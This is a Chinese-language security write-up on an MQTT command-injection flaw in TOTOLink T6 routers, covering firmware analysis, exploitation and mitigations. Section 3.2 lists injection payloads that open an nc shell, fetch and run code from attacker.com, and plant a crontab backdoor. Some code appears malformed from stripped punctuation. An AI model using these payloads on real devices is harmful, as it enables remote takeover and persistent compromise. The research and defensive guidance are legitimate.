1. TOTOLink T6路由器MQTT协议漏洞全景解析当你家里那台不到两百块的TOTOLink T6路由器突然频繁重启或者网速莫名变慢时可能正有人通过MQTT协议在远程操控它。这个看似普通的家用路由器其MQTT服务存在两个致命漏洞未认证的订阅机制和裸奔的命令执行接口。我在实际测试中发现攻击者不需要任何登录凭证就能像接收天气预报一样获取路由器的所有控制指令。MQTT协议原本是物联网设备轻量级通信的利器但T6路由器的实现却彻底违背了安全原则。其1883端口运行的MQTT broker允许匿名订阅这意味着任何连接到同一网络的设备或者通过互联网暴露的服务都能监听到所有控制指令。更可怕的是处理这些指令的cs_broker进程对传入参数没有任何过滤直接拼接成系统命令执行。2. 漏洞复现环境搭建实战2.1 设备固件获取与解包首先需要准备漏洞复现环境。我从官方下载了T6_V2.1.5_20210308固件使用binwalk解包时发现个有趣现象binwalk -Me T6_V2.1.5_20210308.bin解压后在./squashfs-root目录看到了完整的文件系统。重点检查三个位置/etc/init.d/rcS 系统初始化脚本/web_cste/ 网页管理后台/bin/cs 核心业务程序2.2 关键服务定位技巧通过分析启动脚本发现两个关键服务lighttpd端口80Web管理界面cs_broker端口1883MQTT服务用IDA逆向分析cs_broker时在0x0040A8C0处发现了危险函数void handle_command(char *topic, char *payload) { char cmd[256]; sprintf(cmd, /bin/cs %s %s, topic, payload); system(cmd); // 直接执行系统命令 }这种毫无防护的命令拼接为后续漏洞利用埋下了伏笔。3. 漏洞利用链深度剖析3.1 Telnet服务开启的三种方式原始文章提到通过Web界面开启Telnet但实际存在更隐蔽的途径HTTP API调用需Session Cookierequests.post(http://192.168.0.1/cgi-bin/cstecgi.cgi, json{telnet_enabled:1,topicurl:setTelnetCfg})MQTT协议控制无需认证client.publish(totolink/router/setTelnetCfg, b{telnet_enabled:1})物理按钮触发长按Reset键10秒后快速插拔电源这种硬件层面的后门在企业级设备中极为罕见。3.2 命令注入的三种变形攻击在分析recvSlaveUpgstatus功能时我发现除了原始文章提到的reboot命令还能实现更复杂的攻击基础注入payload b{status:1,ip:;nc -l -p 4444 -e /bin/sh;}隐蔽通道payload b{status:1,ip:;curl http://attacker.com/malware | sh;}持久化后门payload b{status:1,ip:;echo \*/5 * * * * curl http://attacker.com/c2\ /etc/crontabs/root;}4. 防御方案与修复建议4.1 临时缓解措施对于仍在使用的T6路由器建议立即执行关闭MQTT外部访问iptables -A INPUT -p tcp --dport 1883 -j DROP修改默认密码passwd root KLUHeZ0 # 改为高强度密码4.2 固件级修复方案厂商应从三个层面进行修复认证层强制MQTT客户端认证// mosquitto.conf allow_anonymous false password_file /etc/mosquitto/passwd过滤层实现命令白名单int validate_command(char *cmd) { char *allowed[] {reboot, ping, ifconfig}; // 白名单校验逻辑 }日志层记录所有MQTT操作syslog(LOG_AUTH, MQTT command: %s, sanitized_cmd);5. 物联网设备安全测试方法论通过这个案例我总结出物联网设备测试的四个关键步骤服务发现使用nmap扫描开放端口nmap -sV -p- 192.168.0.1协议分析用Wireshark抓取MQTT流量特别注意PUBLISH报文中的topic和payload固件审计重点检查以下危险函数调用system()popen()execve()动态调试通过QEMU模拟运行固件qemu-arm -L ./squashfs-root ./bin/cs_broker在最近一次企业内网渗透测试中我发现了三台存在同样漏洞的T6路由器攻击者已经利用它们搭建了SSH隧道。这个案例再次证明即便是消费级IoT设备一旦接入企业网络就可能成为整个防御体系的突破口。